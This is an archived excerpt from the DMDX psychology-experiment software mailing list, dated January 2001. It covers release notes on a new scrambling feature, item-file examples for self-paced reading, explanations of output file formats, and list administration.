with and are , and . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The road to hell is paved with NAND gates. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 24 18:29:23 2001 Received: from cygnus.its.unimelb.EDU.AU (smtp2.unimelb.edu.au [128.250.20.112]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA21171 for ; Wed, 24 Jan 2001 18:25:58 -0700 Received: from pc7-198.psych.unimelb.edu.au (pc7-198.psych.unimelb.edu.au [128.250.173.198]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01JZBOLI310O8Y6SUC@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 25 Jan 2001 12:25:53 +1100 Date: Thu, 25 Jan 2001 12:25:51 +1100 From: Virginia Holmes Subject: [DMDX] Re: 2.3.05 In-reply-to: <5.0.2.1.2.20010123142852.009e70a0@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: <4.3.2.7.2.20010125122458.00af8480@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathan As Wayne says, some people do use word by word or phrase by phrase reading! Virginia Holmes >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 24 18:40:00 2001 Received: from cygnus.its.unimelb.EDU.AU (smtp2.unimelb.edu.au [128.250.20.112]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA21259 for ; Wed, 24 Jan 2001 18:38:31 -0700 Received: from pc7-198.psych.unimelb.edu.au (pc7-198.psych.unimelb.edu.au [128.250.173.198]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01JZBP13C7MU8Y72CD@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 25 Jan 2001 12:38:28 +1100 Date: Thu, 25 Jan 2001 12:38:26 +1100 From: Virginia Holmes Subject: [DMDX] Citing DMDX To: DMDX@psy1.psych.arizona.edu Message-id: <4.3.2.7.2.20010125123817.00ad1ba0@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list For citing DMDX in a reference list for example, I thought something more useful would be to put the URL for the DMDX home page. No? VMH >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 25 09:09:18 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA22935 for ; Thu, 25 Jan 2001 09:09:05 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0000A6D4 for DMDX@psy1.psych.arizona.edu; Thu, 25 Jan 2001 09:09:04 -0700 Message-Id: <5.0.2.1.2.20010125090816.009f4260@psy1.psych.arizona.edu> Date: Thu, 25 Jan 2001 09:09:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Citing DMDX In-Reply-To: <4.3.2.7.2.20010125123817.00ad1ba0@post.psych.unimelb.edu.a u> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:38 PM 1/25/01 +1100, you wrote: > For citing DMDX in a reference list for example, I thought > something more useful would be to put the URL for the DMDX home page. No? If you wish, yes, include the URL by all means. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Sat Jan 27 04:35:32 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA28008 for ; Sat, 27 Jan 2001 04:33:21 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100034EBA; Sat, 27 Jan 2001 04:33:21 -0700 Message-Id: <5.0.2.1.2.20010127042025.009d29f0@psy1.psych.arizona.edu> Date: Sat, 27 Jan 2001 04:33:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RC Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And of course the other reason for RC's existence that I keep forgetting about is scrambling, notably that in sentences one typically has a variable number of words and that makes scrambling difficult. Currently should someone want to use the new and want to scramble their items they will have to determine the longest single sentence that they wish to present, set G to that number and then pad all shorter sentences with dummy items, typically !; sequences will do. To alleviate this I will see if I can implement a new scrambling feature, the (it's tentative because I didn't write Scramble's code and it's messy [which is being polite] and any changes to it stand a significant chance of breaking it completely). Here you will specify a divisor and items that are consecutive and whose item numbers divided by 's value are the same will be considered part of the same group. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Sat Jan 27 15:29:19 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA29201 for ; Sat, 27 Jan 2001 15:27:42 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E00038A7A for DMDX@psy1.psych.arizona.edu; Sat, 27 Jan 2001 15:27:41 -0700 Message-Id: <5.0.2.1.2.20010127152234.009e4ec0@psy1.psych.arizona.edu> Date: Sat, 27 Jan 2001 15:27:41 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] 2.4.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, I've been banging on the mods I've made to Scramble and as far as I can tell they're solid so I'm releasing 2.4.00. Only one new keyword but it's a doozy: Variable Grouping Keyword Scramble parameter that enables variable group sizes. Cannot occur in extended parameters, all scramble parameters must still occur on the first line. For information on traditional scrambling see Scrambling. N specifies a divisor, items that are consecutive and that have identical item numbers when divided by N are considered to be in the same group. When determining the block size, the value for the S parameter, as with the traditional grouping parameter, is in numbers of groups. It is important to note that variable grouping completely ignores fixed blocks (the contents of the item file between $ symbols), any item numbers occurring there are ignored for the purposes of determining whether the two items surrounding the fixed block are part of the same variable group. Which brings up a difference between the way the traditional G parameter and work, and that is their treatment of a fixed block when occurs in the middle of a group -- which is a rather tenuous thing to do in the first place. Traditional grouping will move that fixed block to the end of the group, variable grouping will move it to the start of the group. For example: s1 $0 ""variable grouping"" , ""Hit SpaceBar to Continue"";$ 101 ""101""; 102 ""102""; 103 ""103""; 104 ""104""; 105 ""105""; $0 ""within group"";$ 106 ""106""; 107 ""107""; 108 ""108""; 109 ""109""; 201 ""201""; 202 ""202""; 203 ""203""; $0 ""inter group"";$ 301 ""301""; 302 ""302""; 303 ""303""; 304 ""304""; 305 ""305""; 306 ""306""; $0 ""end""l;$ Can produce the following when scrambled: s1 0 ""variable grouping"" , ""Hit SpaceBar to Continue""; 0 ""within group""; 301 ""301""; 302 ""302""; 303 ""303""; 304 ""304""; 305 ""305""; 306 ""306""; 201 ""201""; 202 ""202""; 203 ""203""; 0 ""inter group""; 101 ""101""; 102 ""102""; 103 ""103""; 104 ""104""; 105 ""105""; 106 ""106""; 107 ""107""; 108 ""108""; 109 ""109""; 0 ""end""l; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Sat Jan 27 17:49:28 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA00150 for ; Sat, 27 Jan 2001 17:48:01 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610003936D; Sat, 27 Jan 2001 16:17:03 -0700 Message-Id: <5.0.2.1.2.20010127161036.009e2340@psy1.psych.arizona.edu> Date: Sat, 27 Jan 2001 16:17:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] online help Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, the online help will be down until Monday, either psy1 has had it's FTP daemon hacked by someone and it can all of a sudden no longer handle long files names or CCIT has suddenly implemented some incredible anti hacking stuff and is somehow limiting file name length or the unknown has reared it's ugly head because there's no way I can transfer those files short of doing it one at a time, and guess, what, I'm not about to. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Sat Jan 27 18:06:02 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA00246 for ; Sat, 27 Jan 2001 18:04:35 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100039527 for DMDX@psy1.psych.arizona.edu; Sat, 27 Jan 2001 16:33:37 -0700 Message-Id: <5.0.2.1.2.20010127163223.009df1a0@psy1.psych.arizona.edu> Date: Sat, 27 Jan 2001 16:33:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] weird Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, I got the online help stuff up there, finally remembered an alternate route I could take through two other machines that got the files there. Mystery to me why it fails going directly there though. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Sun Jan 28 16:06:57 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA02672 for ; Sun, 28 Jan 2001 16:06:18 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100040BFF for DMDX@psy1.psych.arizona.edu; Sun, 28 Jan 2001 16:06:17 -0700 Message-Id: <5.0.2.1.2.20010128155847.009e3d70@psy1.psych.arizona.edu> Date: Sun, 28 Jan 2001 16:06:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] 2.4.01 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And while I had the scramble code torn apart I noticed that I could make scramble know about and so it's parameters could occur after the first physical line of the item file and while playing golf this morning (in the rain of all things, pretty rare in Tucson) I realized I could make it no longer need $ to stop the extended parameters from being scrambled without breaking older item files that already had $ in the parameters -- so I did them both today and released 2.4.01. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 29 13:56:06 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA05031 for ; Mon, 29 Jan 2001 13:55:42 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100053167 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jan 2001 13:55:41 -0700 Message-Id: <4.3.1.1.20010129135503.00e31e80@kforster.inbox.email.arizona.edu> Date: Mon, 29 Jan 2001 13:55:09 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Problems in getting Listserv postings accepted Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Re: DMDX Listserv postings not accepted. Some users are having their postings rejected by the DMDX Listserv because their email address does not match the address used when they originally subscribed. This seems to happen even though the user has not changed their account. This is probably due to some change in policy in your local computer center. The problem could be solved by re-subscribing with the new address (provided that this will be a permanent change), and letting me know so that we can remove the old entry. But if this is something that can vary from day to day, depending on which computer you use, then the problem is harder to fix. You could ask your local CC why your address keeps changing. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 29 16:13:34 2001 Received: from cygnus.its.unimelb.EDU.AU (smtp2.unimelb.edu.au [128.250.20.112]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA05500 for ; Mon, 29 Jan 2001 16:11:03 -0700 Received: from pc7-198.psych.unimelb.edu.au (pc7-198.psych.unimelb.edu.au [128.250.173.198]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01JZIJBYLXQO8Y7AEI@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 10:10:58 +1100 Date: Tue, 30 Jan 2001 10:10:56 +1100 From: Virginia Holmes Subject: [DMDX] Re: Problems in getting Listserv postings accepted In-reply-to: <4.3.1.1.20010129135503.00e31e80@kforster.inbox.email.arizo na.edu> To: DMDX@psy1.psych.arizona.edu Message-id: <4.3.2.7.2.20010130100953.00b42bc0@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Please unsubscribe v.holmes@psych.unimelb.edu.au (Once, anyway!) >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 29 16:20:30 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA05548 for ; Mon, 29 Jan 2001 16:20:25 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E00057740 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jan 2001 16:20:24 -0700 Message-Id: <5.0.2.1.2.20010129161802.009ea020@psy1.psych.arizona.edu> Date: Mon, 29 Jan 2001 16:20:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Problems in getting Listserv postings accepted In-Reply-To: <4.3.2.7.2.20010130100953.00b42bc0@post.psych.unimelb.edu.a u> References: <4.3.1.1.20010129135503.00e31e80@kforster.inbox.email.arizo na.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:10 AM 1/30/01 +1100, you wrote: >Please unsubscribe v.holmes@psych.unimelb.edu.au > >(Once, anyway!) > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email 'by itself' means just that, no 'please' and no email address. > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Mohandas K. Gandhi often changed his mind publicly. An aide once asked him how he could so freely contradict this week what he had said just last week. The great man replied that it was because this week he knew better. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 29 17:31:58 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA05797 for ; Mon, 29 Jan 2001 17:31:49 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561000595A7 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jan 2001 17:31:48 -0700 Message-Id: <5.0.2.1.2.20010129171532.009e81a0@psy1.psych.arizona.edu> Date: Mon, 29 Jan 2001 17:31:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.4.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And of course with a new scramble parameter we have to have a multi-scrambling version of it, and seeing as we've made scramble aware of extended parameter lines we'd better make the multi-scramble code aware of it too -- of course that entailed an almost complete re-write of the multi-scramble code... At the end of the day when all is said and done it looks like I've got things back together again in a significantly more robust and flexible form that allows scramble and multi-scramble parameters to occur in the extended parameter line, that no longer requires the extended parameter line to be marked as a fixed block to scramble with $ symbols but can in fact still deal with old item files that have the extended parameter line marked as fixed. Not to mention the new multi-scramble variable length group parameters. BTW, apologies to anyone who actually tried to download 2.4.00 or 2.4.01 and couldn't find it, it looks like the machine at home likes storing the file DMDX.ZIP on the server, quite distinct from the old archive dmdx.zip unix being what it is. Now there's just one ;) -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Mohandas K. Gandhi often changed his mind publicly. An aide once asked him how he could so freely contradict this week what he had said just last week. The great man replied that it was because this week he knew better. >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 30 03:12:29 2001 Received: from mailer3.bham.ac.uk (mailer3.bham.ac.uk [147.188.128.54]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA06951 for ; Tue, 30 Jan 2001 03:12:08 -0700 Received: from bham.ac.uk ([147.188.128.127]) by mailer3.bham.ac.uk with esmtp (Exim 3.16 #2) id 14NXlg-00012e-00 for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 10:12:08 +0000 Received: from psg-fs5.bham.ac.uk ([147.188.20.122]) by bham.ac.uk with esmtp (Exim 3.16 #3) id 14NXlf-0004Kj-00 for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 10:12:07 +0000 Received: from BHAM-PSG-FS5/SpoolDir by psg-fs5.bham.ac.uk (Mercury 1.44); 30 Jan 01 10:12:08 +0000 Received: from SpoolDir by BHAM-PSG-FS5 (Mercury 1.44); 30 Jan 01 10:12:03 +0000 Received: from GW1 (Gateway) (147.188.22.51) by psg-fs5.bham.ac.uk (Mercury 1.44) with ESMTP; 30 Jan 01 10:12:02 +0000 From: ""Martin Edwards"" To: DMDX@psy1.psych.arizona.edu Date: Tue, 30 Jan 2001 10:11:59 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] could not open diagnostics file Message-ID: <3A76936E.20901.1B0F4E@localhost> In-reply-to: <5.0.2.1.2.20010129171532.009e81a0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, When I open DMDX I get the following message: 'could not open diagnostics file' However, thereon, everything seems to work as normal. What does this error message mean? Thanks in advance Martin ---------------------------------- Dr. Martin G. Edwards Behavioural Brain Sciences Centre School of Psychology University of Birmingham Edgbaston Birmingham W. Mids B15 2TT >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 30 08:50:25 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA07598 for ; Tue, 30 Jan 2001 08:50:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100064DBD for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 08:50:10 -0700 Message-Id: <5.0.2.1.2.20010130083639.009e3cb0@psy1.psych.arizona.edu> Date: Tue, 30 Jan 2001 08:50:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: could not open diagnostics file In-Reply-To: <3A76936E.20901.1B0F4E@localhost> References: <5.0.2.1.2.20010129171532.009e81a0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:11 AM 1/30/01 +0000, you wrote: >Hi, > >When I open DMDX I get the following message: > >'could not open diagnostics file' > >However, thereon, everything seems to work as normal. What does >this error message mean? It means it could not open diagnostics.txt. The usual explanation for this is that there is another copy of DMDX running and is therefore writing to diagnostics.txt so the current copy you are looking at can't open it, however there is code in the later versions that should stop two instances of DMDX running on the same machine. I only see the message because I have two systems running DMDX out of the same directory in the development setup. I guess if you had a word processor (like word) currently editing diagnostics.txt you'd get the error, the only other ways would be things like the disk being full or other catastrophic errors. That or you are using an old version of DMDX and have another instance running of it already. DMDX will continue to run perfectly well if it can't open diagnostics.txt, you just won't have any diagnostics when you're done -- it won't run so well if there's another copy of it already running. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Paradise is exactly like where you are right now ... only much, much better. - Laurie Anderson >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 30 11:36:47 2001 Received: from mail.tor.axxent.ca (smtp.tor.axxent.ca [209.250.128.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA08005 for ; Tue, 30 Jan 2001 11:36:37 -0700 Received: from [216.249.1.214] (dial-0468.tor.axxent.ca [216.249.1.214]) by mail.tor.axxent.ca (8.11.0/8.9.3) with SMTP id f0UIaWh17421 for ; Tue, 30 Jan 2001 13:36:33 -0500 (EST) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 30 Jan 2001 13:37:56 -0500 To: DMDX@psy1.psych.arizona.edu From: jcramsay@pathcom.com (James Ramsay and Suzanne Belanger) Subject: [DMDX] Self-paced reading Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi: I'm new to DMDX and am designing my first experiment. I would like to do a self-paced reading task, with one sentence per frame, where each item has 1-2 sentences followed by a verification sentence. E.g: Doris asked out Sue's boyfriend. Sue was really upset about it. DORIS ASKED OUT SUE'S BOYFRIEND I would like the subject to read the first sentence, press Space when they have read and understood it, read the next sentence, press Space, read the verification sentence and press Right or Left Shift, and then Space again to bring up the next item. From what I gather, the Space bar only works to request a following ITEM, not a following FRAME within an item. One possibility that I have considered and tried is to have each frame be its own item. But then I have problems with scrambling, as each sentence is scrambled separately - verifcation sentences appear separated from the rest of the item. I can't use the 'group' parameter to ensure that sentences belonging to one 'item' appear together, because the number of sentences per item varies (2 or 3, including verification sentence). Also, I do not want subjects to have to respond to non-target sentences use the Shift keys because I don't want to bias them to one SHift key over the other. That is, what I really want is for them to only use the Shift keys to respond to a verification sentence, and the Space bar for everything else. Also, what is azk? How do I know whether I want azk or dtp as output files? Is there any current documentation on how to save data from subjects or is the Dmastr manual the only source of info? Thanks in advance. Suzanne Belanger PhD Candidate University of Toronto >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 30 15:28:22 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA08476 for ; Tue, 30 Jan 2001 15:27:54 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610007102F for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 15:27:53 -0700 Message-Id: <5.0.2.1.2.20010130151338.009e7420@psy1.psych.arizona.edu> Date: Tue, 30 Jan 2001 15:27:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Self-paced reading In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:37 PM 1/30/01 -0500, you wrote: >Hi: >I'm new to DMDX and am designing my first experiment. >I would like to do a self-paced reading task, with one sentence per frame, >where each item has 1-2 sentences followed by a verification sentence. E.g: > >Doris asked out Sue's boyfriend. >Sue was really upset about it. >DORIS ASKED OUT SUE'S BOYFRIEND > >I would like the subject to read the first sentence, press Space when they >have read and understood it, read the next sentence, press Space, read the >verification sentence and press Right or Left Shift, and then Space again >to bring up the next item. From what I gather, the Space bar only works to >request a following ITEM, not a following FRAME within an item. >One possibility that I have considered and tried is to have each frame be >its own item. But then I have problems with scrambling, as each sentence is >scrambled separately - verifcation sentences appear separated from the rest >of the item. I can't use the 'group' parameter to ensure that sentences >belonging to one 'item' appear together, because the number of sentences >per item varies (2 or 3, including verification sentence). Also, I do not >want subjects to have to respond to non-target sentences use the Shift keys >because I don't want to bias them to one SHift key over the other. That >is, what I really want is for them to only use the Shift keys to respond to >a verification sentence, and the Space bar for everything else. Guess you can't have been subscribed for too long, I just added the keyword over the weekend. You'll want the latest version of the code and an item file something like the following: s1 100 ""Doris asked out Sue's boyfriend.""; 100 ""Sue was really upset about it.""; +101 ""DORIS ASKED OUT SUE'S BOYFRIEND"" *; 110 ""next sentence.""; +111 ""probe"" *; >Also, what is azk? Ascii data files. > How do I know whether I want azk or dtp as output files? You want azk. >Is there any current documentation on how to save data from subjects or is >the Dmastr manual the only source of info? Some of the other web sites might have information, I haven't looked at them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Mohandas K. Gandhi often changed his mind publicly. An aide once asked him how he could so freely contradict this week what he had said just last week. The great man replied that it was because this week he knew better. >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 30 16:05:44 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA08637 for ; Tue, 30 Jan 2001 16:05:38 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610007221D for DMDX@psy1.psych.arizona.edu; Tue, 30 Jan 2001 16:05:38 -0700 Message-Id: <4.3.1.1.20010130155802.00c9bf00@kforster.inbox.email.arizona.edu> Date: Tue, 30 Jan 2001 16:05:34 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Self-paced reading In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:37 PM 1/30/01 -0500, you wrote: >Also, what is azk? How do I know whether I want azk or dtp as output files? The dtp output file is a binary file listing RTs for up to 512 items, sorted by item number. You have to use our somewhat dated Fortran programs (DATMAK, UPDATE, CONCAT) to do anything with the data. See the DMASTR manual for details. The azk file is a txt file that lists RTs to items in the order they were presented, and has no limits on the number of items. To use DMDX's variable grouping feature you'd need item numbers greater than 512, so this is the option you should use. Data analysis is carried out via spreadsheet, e.g., Excel. >Is there any current documentation on how to save data from subjects or is >the Dmastr manual the only source of info? Yes. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 31 12:19:34 2001 Received: from alpha.hofstra.edu (alpha.hofstra.edu [147.4.1.15]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA11181 for ; Wed, 31 Jan 2001 12:19:18 -0700 Received: from dell (""port 1665""@[147.4.170.5]) by Mail.Hofstra.edu (PMDF V6.0-24 #41763) with SMTP id <01JZK6B4NB9894DPBU@Mail.Hofstra.edu> for DMDX@psy1.psych.arizona.edu; Wed, 31 Jan 2001 14:19:15 -0500 (EST) Date: Wed, 31 Jan 2001 14:22:43 -0500 From: Bruce Evan Blaine In-reply-to: <4.3.1.1.20010130155802.00c9bf00@kforster.inbox.email.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: <01JZK6B4VUAM94DPBU@Mail.Hofstra.edu> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT References: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello: I am a new subscriber and DMDX user and have yet to get the program to run. I have tried to run timedx.exe but get a ""direct input create failed"" message. Any answers? Thank you. Bruce Evan Blaine, PhD Associate Professor Psychology Department Hauser Hall Hofstra University Hempstead NY 11549 (516) 463-4856 >From DMDX-owner@psy1.psych.arizona.edu Wed 